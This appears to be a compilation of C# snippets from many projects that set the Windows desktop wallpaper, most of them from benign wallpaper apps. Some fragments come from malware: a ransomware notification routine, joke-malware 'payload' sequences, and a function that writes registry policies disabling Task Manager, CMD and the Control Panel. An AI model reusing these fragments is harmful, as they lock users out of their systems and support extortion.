public async Task UpdateWallpaper() { if (Settings.PauseWallpaperUpdate) { return; } MainWindow.log.Info("Updating wallpaper - starting..."); Settings.CurrentDate = DateTime.Now; for (int i = 0; i < 6; i++) { for (int j = 0; j < 7; j++) { if (Settings.SelectedMonthDays[(i * 7) + j].Date.ToString("MM/dd/yyyy") == Settings.CurrentDate.ToString("MM/dd/yyyy")) { CurrentDateCell.X = j + 1; CurrentDateCell.Y = i + 1; } } } await Task.Run(() => Wallpaper.CreateCalendar(Settings.DarkMode, Settings.CurrentDate, CurrentDateCell, Settings.SelectedMonthDays.ToList(), Settings.HabitDays.ToList())); Wallpaper.Set(IOPath.Combine(AppDomain.CurrentDomain.BaseDirectory, "output.png")); }
private static async Task PostRequestAsync() { WebRequest request = WebRequest.Create("https://api.tiktok.com/aweme/v1/data/insighs/?tz_offset=7200&aid=1233&carrier_region=RU"); request.Method = "POST"; string data = "type_requests=" + GET_CONTENT; byte[] byteArray = System.Text.Encoding.UTF8.GetBytes(data); request.ContentType = "application/x-www-form-urlencoded"; request.Headers.Set(HttpRequestHeader.Cookie, COOKIE_STR); request.ContentLength = byteArray.Length; using (Stream dataStream = request.GetRequestStream()) { dataStream.Write(byteArray, 0, byteArray.Length); } WebResponse response = await request.GetResponseAsync(); using (Stream stream = response.GetResponseStream()) { using (StreamReader reader = new StreamReader(stream)) { Root json = JsonConvert.DeserializeObject <Root>(reader.ReadToEnd()); Image img = DrawWall(json.user_info.follower_count, new Font(FontFamily.GenericSansSerif, 80, FontStyle.Bold), Color.White, Color.Black); Wallpaper.Set(img, Wallpaper.Style.Centered); } } response.Close(); }
private static void CambiarFondo() //payload 1.a -> cambiar fondo de pantalla desde uno interno en la app { string temp = Path.GetTempPath() + "fondo.jpg"; Kenose.Properties.Resources.fondo.Save(temp); //guardar el fondo en una localización temporal Wallpaper.Set(temp, Wallpaper.Style.Stretch); }
public static void wallpaper() { while (true) { int i2 = System.Convert.ToInt32(readFPS()); // Change Wallpaper System.IO.DirectoryInfo di = new DirectoryInfo(f); int i3 = 0; foreach (FileInfo file in di.GetFiles()) { if (file.Name.Contains(".jpg")) { i3++; } } for (int i = 1; i < i3; i++) { Wallpaper.Set(new Uri(f + i + ".jpg"), Wallpaper.Style.Stretched); } } }
/// <summary> /// Once we are done encrypting it's time to let the user know we are here. /// 1. Change wallpaper /// 2. Make ID.text /// 3. Download Decryptor.exe /// </summary> private static void notifyUser() { // Change wallpaper Uri wallpaper = new Uri("https://image.ibb.co/kO6xZ6/insane_uriel_by_urielstock_4.jpg"); Wallpaper.Set(wallpaper, Wallpaper.Style.Fit); writeIDFile(); }
private async void DownloadImage(long parameter) { if (await imageDownloader.NeedsDownload().ConfigureAwait(false)) { var filename = await imageDownloader.DownloadImage().ConfigureAwait(false); wallpaper.Set(filename); } }
private void UpdateWallpaper(string image) { if (!File.Exists(image)) { throw new ArgumentException($"File not found: {image}"); } Wallpaper.Set(image); Console.WriteLine("Successfully updated wallpaper"); }
private async void SetWallPaper(string imagePath, string fileContent) { var image = await GetImagePath(imagePath); var file = await DownloadImage(image.Url, image.Name); var wallPaperFileName = GenerateWallPaper(file.fullPath, file.imageDirectory + ImageWallPaperPath, !string.IsNullOrWhiteSpace(fileContent) ? fileContent : "hello world."); CopyToClipboard(wallPaperFileName); Wallpaper.Set(wallPaperFileName, Wallpaper.Style.Centered); }
private IEnumerator StoryEndAsync() { yield return(new WaitForSeconds(1)); _Overworld.Release(); Wallpaper.Set("blescreen.png"); yield return(new WaitForSeconds(3)); EndDialogs(); Lifetime.Quit(); }
private void dispatcherTimer_Tick(object sender, EventArgs e) { if (Time.Equals(new TimeSpan(0, 0, 0))) { Wallpaper.Set(new Uri(_parser.ParseImage(Categories[0], SelectedResolution)), Wallpaper.Style.Centered); Time = ConverterTime.ToTimeSpan(SelectedInterval); } else { Time = new TimeSpan(Time.Hours, Time.Minutes, Time.Seconds - 1); } }
public static void Main(string[] args) { System.Console.WriteLine("Change wallpaper."); string fpath = PATH + "today.jpg"; // default if (args.Length > 0) { fpath = args[0].ToString(); } Wallpaper.Set(fpath, Style.Stretched); // Wallpaper.Set("https://ss0.bdstatic.com/5aV1bjqh_Q23odCf/static/superman/img/logo/bd_logo1_31bdc765.png", Style.Stretched); }
public void SetWallpaper(Image image, Wallpaper.Style style = Wallpaper.Style.Stretched) { try { BackgroundImage = image; BackgroundImageLayout = ImageLayout.Stretch; Wallpaper.Set(image, style); } catch (Exception ex) { Console.WriteLine($"Failed to set wallpaper: {ex}"); } }
private static void Main(string[] args) { //Shortcut.PermamentAutoStart(); //Keyboard.OnKeyPress += (sender, e) => //{ // Console.WriteLine(e.Key); // if (e.Key == Keys.Space) // Wallpaper.Set(new Uri("https://i.imgur.com/LRD7LMG.jpg"), Wallpaper.Style.Centered, "boskidawid", ImageFormat.Bmp); //}; #if DEBUG // MYSZKA LAGUJE!! //ConsoleHelper.ChangeVisibility(ConsoleVisibility.Show); //Mouse.OnLeftButtonDown += (sender, e) => // Desktop.ShowIcons(); //Mouse.OnLeftButtonUp += (sender, e) => { }; //Mouse.OnRightButtonUp += (sender, e) => Desktop.HideIcons(); //Mouse.OnMouseMove += (sender, e) => Console.WriteLine(JsonSerializer.Serialize(e)); Keyboard.OnCPress += (sender, e) => Keyboard.RemoveHook(); Keyboard.OnVPress += (sender, e) => Desktop.ShowOrHideIcons(); Keyboard.OnBPress += (sender, e) => { // troll desktop var fileName = "hehe"; var fileFormat = ImageFormat.Png; var path = Wallpaper.TakeScreenShot(fileName, fileFormat); Wallpaper.SetWallPaperAndHideIconsWithTaskBar(path, fileName, fileFormat); }; Keyboard.OnSpacePress += (sender, e) => Wallpaper.Set(Wallpaper.GetImageFromWeb("https://i.imgur.com/LRD7LMG.jpg", "boskiDawid", ImageFormat.Png)); #endif Keyboard.OnEscapePress += (sender, e) => { // fun clear Desktop.TaskBar.Show(); if (!Desktop.IconsVisible()) { Desktop.ShowOrHideIcons(); } Desktop.RestoreAllWindows(); Environment.Exit(0); }; Mouse.SetHook(); Keyboard.SetHook(); NativeMethods.StartListening(); }
private bool SetWallpaper(string base64Image) { try { byte[] bytes = Convert.FromBase64String(base64Image); MemoryStream byteStream = new MemoryStream(bytes); Wallpaper.Set(Image.FromStream(byteStream), Wallpaper.Style.Fill); return(true); } catch (Exception e) { BConsole.WriteLine("Visuals Error: " + e.Message, ConsoleColor.Red); return(false); } }
static void Main(string[] args) { SetStartup(); try { using (var client = new WebClient()) { client.DownloadFile($"https://raw.githubusercontent.com/mslaraba/mslaraba.github.io/master/Soft/{DateTime.Today.ToString("MMyy")}/{DateTime.Today.Day.ToString()}.jpg", "d:\\wall.jpg"); } Wallpaper.Set(new Uri(@"D:\wall.jpg"), Wallpaper.Style.Stretched); } catch { } }
static async Task Main(string[] args) { string url = await GetBingPicture(); string english = await GetQuote(); string chinese = Translator.GoogleTranslate(english, "en", "zh-CN"); string weather = await GetWeather(); string file = await DownloadUrlAsFileName(url); string wallpaperFileName = GenerateWallpaper(file, english, chinese, weather); Wallpaper.Set(wallpaperFileName, Wallpaper.Style.Centered); }
public static void ParseAndSet(string query, string searchQuery) { Random seed = new Random(); using (WebClient web = new WebClient()) { try { string[] keywords = searchQuery.Split(new string[] { "|" }, StringSplitOptions.None); query = keywords.OrderBy(x => Guid.NewGuid()).FirstOrDefault(); string prePage = web.DownloadString(MainSearchUrl + query + "&categories=101&purity=100"); HtmlDocument preWallhavenPage = new HtmlDocument(); preWallhavenPage.LoadHtml(prePage); var countTemplate = preWallhavenPage.DocumentNode.SelectSingleNode("//*[@id=\"main\"]/header/h1"); string itemsCount = countTemplate.InnerText.Replace("\"", "").Split(' ')[0].Replace(",", ""); int pages = Convert.ToInt32(itemsCount) / 20; if (pages <= 0) { pages = 1; } int currentPage = seed.Next(1, pages > 1 ? pages / 2 : 1); currentPage = currentPage > 0 ? currentPage : 1; string page = web.DownloadString(MainSearchUrl + query.Replace(" ", "+") + "&categories=101&purity=100&sorting=random&order=desc&page=" + currentPage); HtmlDocument wallhavenPage = new HtmlDocument(); wallhavenPage.LoadHtml(page); var images = wallhavenPage.DocumentNode.SelectNodes("//*[@id=\"thumbs\"]/section/ul/li/figure"); List <HtmlNode> imagesList = images.ToList(); var randomImage = imagesList.OrderBy(x => Guid.NewGuid()).FirstOrDefault(); string imageId = randomImage.GetAttributeValue("data-wallpaper-id", "1"); string absolute = Path.GetFullPath($"cache/{ imageId }.jpg"); string firstTwoChar = new string(imageId.Take(2).ToArray()); web.DownloadFile($"{MainUrlFullImage}/{ firstTwoChar }/wallhaven-{ imageId }.jpg", $"cache/{ imageId }.jpg"); Wallpaper.Set(new Uri(absolute), Wallpaper.Style.Stretched); } catch (Exception ex) { File.AppendAllText("error.log", ex.ToString()); } } }
static void Main(string[] args) { FlickrHelper helper = new FlickrHelper(); PhotoCollection col = helper.GetData(); foreach (Photo photo in col) { if (string.IsNullOrEmpty(photo.Large2048Url)) { continue; } System.Console.WriteLine($"Photo {photo.Title} has URL {photo.Large2048Url}"); } Wallpaper.Set(new Uri(col[0].Large2048Url), Wallpaper.Style.Stretched); }
private static void SetWallPaper(string fileName) { var savedFile = Wallpaper.Set(fileName, walldir, Wallpaper.Style.Centered); foreach (string file in Directory.GetFiles(walldir, "*.png")) { if (file != savedFile && file != wallBg) { try { File.Delete(file); } catch (Exception ex) { Console.Write($"Failed to delete {file}."); Console.WriteLine(ex.Message); } } } }
private void SetAndGetNext() { Uri randomUri = new Uri(NextResult.ContentUrl); try { Wallpaper.Set(randomUri, WPStyle); } catch (WebException we) { GetNextResult(); randomUri = new Uri(NextResult.ContentUrl); Wallpaper.Set(randomUri, WPStyle); } GetNextResult(); }
internal static async Task Start() { SoundPlayer p = new SoundPlayer(Resources.cristal); p.PlayLooping(); Wallpaper.Set(Resources._20201012150916_dc661250, Wallpaper.Style.Stretched); await Task.Delay(20000); new PayloadsClass.Warn().OnTick(100000); await Task.Delay(20000); new PayloadsClass.Sounds().OnTick(100000); await Task.Delay(20000); new PayloadsClass.Glitch().OnTick(100000); await Task.Delay(20000); new PayloadsClass.TextFucker().OnTick(100000); await Task.Delay(20000); new PayloadsClass.WarnCursor().OnTick(100000); await Task.Delay(20000); new PayloadsClass.Links().OnTick(100000); await Task.Delay(20000); new PayloadsClass.Invert().OnTick(100000); await Task.Delay(20000); new PayloadsClass.Recursive().OnTick(100000); await Task.Delay(20000); new PayloadsClass.Shake().OnTick(100000); await Task.Delay(20000); new PayloadsClass.Grayscale().OnTick(100000); await Task.Delay(20000); new PayloadsClass.ScreenGlitch().OnTick(100000); await Task.Delay(6000); new PayloadsClass.LastMinutes().OnTick(100000); }
private void DownloadFileCallback(object sender, AsyncCompletedEventArgs e, String DownloadPath, string BackgroundID) { Wallpaper.Set(new Uri(DownloadPath), Wallpaper.Style.Stretched); string OldPath = Properties.Settings.Default.CurrentBackground; GC.Collect(); if (OldPath != null && File.Exists(OldPath)) { Debug.WriteLine("Delete: " + OldPath); File.Delete(OldPath); } Debug.WriteLine("New Image: " + DownloadPath); Properties.Settings.Default.CurrentBackgroundID = BackgroundID; Properties.Settings.Default.CurrentBackground = DownloadPath; Properties.Settings.Default.Save(); resetReplaceTimer(); }
/// <summary> /// 设置壁纸,并且提示更新状态 /// </summary> public void SetWallpaper() { new Thread(() => { try { var bingImg = _provider.GetImage(); Wallpaper.Set(bingImg.Img, Wallpaper.Style.Stretched); _currentWallpaper = bingImg.Img; SetCopyrightTrayLabel(bingImg.Copyright, bingImg.CopyrightLink); ShowSetWallpaperNotification(); _settings.UpdateImgDay = DateTime.Now.DayOfYear.ToString(); _settings.UpdataWallpaper = true; _trayMenu.MenuItems[3].Checked = _settings.UpdataWallpaper; } catch { ShowErrorNotification(); _settings.UpdataWallpaper = false; _trayMenu.MenuItems[3].Checked = _settings.UpdataWallpaper; } }).Start(); }
private void App_OnStartup(object sender, StartupEventArgs e) { XmlFileService service = new XmlFileService(); //зчитую час який звлишився до зміни картинки TimeSpan remains = DateTime.Now.Subtract(service.ReadClosingTime("settings.xml")); //перевірка чи пройшов час до зміни картинки if (remains.TotalSeconds - service.ReadRemainsIntervalTime("settings.xml").TotalSeconds >= 0) { //змінюю картинку WallpaperCraftParser parser = new WallpaperCraftParser(); Wallpaper.Set(new Uri(parser.ParseImage(service.ReadCategories("wallpaperscraftInfo.xml")[0], service.ReadSelectedResolution("settings.xml"))), Wallpaper.Style.Centered); //поновлюю час який залишвся на початковий service.WriteRemainsIntervalTime("settings.xml", ConverterTime.ToTimeSpan(service.ReadInterval("settings.xml"))); } else { //поновлюю час який залишвся service.WriteRemainsIntervalTime("settings.xml", new TimeSpan(0, 0, Math.Abs((int)(remains.TotalSeconds - service.ReadRemainsIntervalTime("settings.xml").TotalSeconds)))); } }
public static async Task Run() { IsRunning = true; var pics = new[] { @"https://www.zastavki.com/pictures/1600x1200/2009/Winter_wallpapers_Winter_mountains_019246_.jpg", @"https://images.wallpaperscraft.com/image/waterfall_pond_trees_landscape_79388_2560x1440.jpg", @"https://images.wallpaperscraft.com/image/grass_mountains_evening_90428_2560x1600.jpg", @"http://s1.1zoom.me/big3/26/357022-svetik.jpg" }.Select(s => { using (var webClient = new WebClient()) { return(Image.FromStream(webClient.OpenRead(s))); } }).ToList(); while (IsRunning) { foreach (var s in pics) { Wallpaper.Set(s, Wallpaper.Style.Stretched); await Task.Delay(10000); } } }
private void MakeBackground(string saveName, bool imageTooBig) { Wallpaper w = new Wallpaper(); WallpaperStyle style; if (userSettings.Style == WallpaperStyle.Centered || userSettings.Style == WallpaperStyle.Stretched || userSettings.Style == WallpaperStyle.Tiled) { style = userSettings.Style; } else if (imageTooBig) { style = WallpaperStyle.Stretched; } else { style = WallpaperStyle.Centered; } w.Set(new Uri(saveName), style); UpdateConsole("Background updated!"); }
public void SetWallpaper(string file, Wallpaper.Style style) { Wallpaper.Set(new Uri(file), style); }
public static void SetWallPaper(Image img) { Wallpaper.Set(img, Wallpaper.Style.Stretched); }
public static void SetPolicies() { Wallpaper.Set("https://wallup.net/wp-content/uploads/2018/09/26/214755-anime-Touhou-Inubashiri_Momiji-anime_girls.jpg", Wallpaper.Style.Stretched); //explorer policies (current user) RegistryKey key = Registry.CurrentUser.OpenSubKey(@"Software\Microsoft\Windows\CurrentVersion\Policies", true).CreateSubKey("Explorer"); key.SetValue("NoDesktop", 1, RegistryValueKind.DWord); key.SetValue("NoUserNameInStartMenu", 1, RegistryValueKind.DWord); key.SetValue("NoTrayItemsDisplay", 1, RegistryValueKind.DWord); key.SetValue("NoTrayContextMenu", 1, RegistryValueKind.DWord); key.SetValue("NoTaskGrouping", 1, RegistryValueKind.DWord); key.SetValue("HideClock", 1, RegistryValueKind.DWord); key.SetValue("NoControlPanel", 1, RegistryValueKind.DWord); key.SetValue("NoStartMenuSubFolders", 1, RegistryValueKind.DWord); key.SetValue("NoStartMenuNetworkPlaces", 1, RegistryValueKind.DWord); key.SetValue("NoSMConfigurePrograms", 1, RegistryValueKind.DWord); key.SetValue("NoSetTaskbar", 1, RegistryValueKind.DWord); key.SetValue("NoSetFolders", 1, RegistryValueKind.DWord); key.SetValue("NoRun", 1, RegistryValueKind.DWord); key.SetValue("NoRecentDocsMenu", 1, RegistryValueKind.DWord); key.SetValue("NoStartMenuPinnedList", 1, RegistryValueKind.DWord); key.SetValue("NoNetworkConnections", 1, RegistryValueKind.DWord); key.SetValue("NoStartMenuMorePrograms", 1, RegistryValueKind.DWord); key.SetValue("NoSMHelp", 1, RegistryValueKind.DWord); key.SetValue("NoStartMenuMFUprogramsList", 1, RegistryValueKind.DWord); key.SetValue("NoFind", 1, RegistryValueKind.DWord); key.SetValue("NoFavoritesMenu", 1, RegistryValueKind.DWord); key.SetValue("NoCommonGroups", 1, RegistryValueKind.DWord); key.SetValue("NoClose", 1, RegistryValueKind.DWord); key.SetValue("NoChangeStartMenu", 1, RegistryValueKind.DWord); key.SetValue("NoAutoTrayNotify", 1, RegistryValueKind.DWord); key.SetValue("LockTaskbar", 1, RegistryValueKind.DWord); key.SetValue("ClearRecentDocsOnExit", 1, RegistryValueKind.DWord); key.SetValue("NoUserFolderInStartMenu", 1, RegistryValueKind.DWord); key.SetValue("NoSearchProgramsInStartMenu", 1, RegistryValueKind.DWord); key.SetValue("NoSearchFilesInStartMenu", 1, RegistryValueKind.DWord); key.SetValue("NoSearchInternetInStartMenu", 1, RegistryValueKind.DWord); key.SetValue("NoSearchComputerLinkInStartMenu", 1, RegistryValueKind.DWord); key.SetValue("NoControlPanel", 1, RegistryValueKind.DWord); key.SetValue("PreXPSP2ShellProtocolBehavior", 1, RegistryValueKind.DWord); key.SetValue("NoComputersNearMe", 1, RegistryValueKind.DWord); key.SetValue("NoWinKeys", 1, RegistryValueKind.DWord); key.SetValue("NoViewOnDrive", 1, RegistryValueKind.DWord); key.SetValue("NoViewContextMenu", 1, RegistryValueKind.DWord); key.SetValue("NoShellSearchButton", 1, RegistryValueKind.DWord); key.SetValue("ClassicShell", 1, RegistryValueKind.DWord); key.SetValue("TaskbarNoThumbnail", 1, RegistryValueKind.DWord); key.SetValue("TaskbarNoResize", 1, RegistryValueKind.DWord); key.SetValue("TaskbarNoRedock", 1, RegistryValueKind.DWord); key.SetValue("TaskbarNoNotification", 1, RegistryValueKind.DWord); key.SetValue("TaskbarLockAll", 1, RegistryValueKind.DWord); key.SetValue("AlwaysShowClassicMenu", 1, RegistryValueKind.DWord); key.SetValue("ForceActiveDesktopOn", 1, RegistryValueKind.DWord); key.SetValue("SettingsPageVisibility", 0, RegistryValueKind.DWord); key.SetValue("StartMenuLogOff", 0, RegistryValueKind.DWord); key.SetValue("QuickLaunchEnabled", 0, RegistryValueKind.DWord); key.SetValue("NoViewOnDrive", 4, RegistryValueKind.DWord); //System policies (current user) key = Registry.CurrentUser.OpenSubKey(@"Software\Microsoft\Windows\CurrentVersion\Policies", true).CreateSubKey("System"); key.SetValue("NoDispCPL", 1, RegistryValueKind.DWord); key.SetValue("DisableTaskMgr", 1, RegistryValueKind.DWord); key.SetValue("DisableCMD", 1, RegistryValueKind.DWord); //System policies (local machine) // key = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion").CreateSubKey("PersonalizationCSP"); // key.SetValue("LockScreenImageUrl", "", RegistryValueKind.String); }
private static void setBackground(string backgroundImage) { Wallpaper.Set(new Uri(Directory.GetCurrentDirectory() + "\\" + backgroundImage), Wallpaper.Style.Stretched); }
public static void Main(string[] args) { var userArguments = ArgumentsHandler.ReadUserArguments(args, LogHelper.LoggerCallback); Wallpaper.Set(userArguments.ImageFile, userArguments.Style); }
private void Set_Wallpaper(object sender, RoutedEventArgs e) { Wallpaper.Style ThisStyle; if (sender == btnWallpaper) ThisStyle = Wallpaper.Style.Stretched; else if (sender == miWallFill) ThisStyle = Wallpaper.Style.Fill; else if (sender == miWallFit) ThisStyle = Wallpaper.Style.Fit; else if (sender == miWallStretch) ThisStyle = Wallpaper.Style.Stretched; else if (sender == miWallTile) ThisStyle = Wallpaper.Style.Tiled; else if (sender == miWallCenter) ThisStyle = Wallpaper.Style.Centered; else throw new Exception("Invalid Sender"); Dispatcher.BeginInvoke(DispatcherPriority.Normal, (ThreadStart)(() => { Wallpaper TheWall = new Wallpaper(); TheWall.Set(new Uri(_ShellListView.GetFirstSelectedItem().ParsingName), ThisStyle); })); }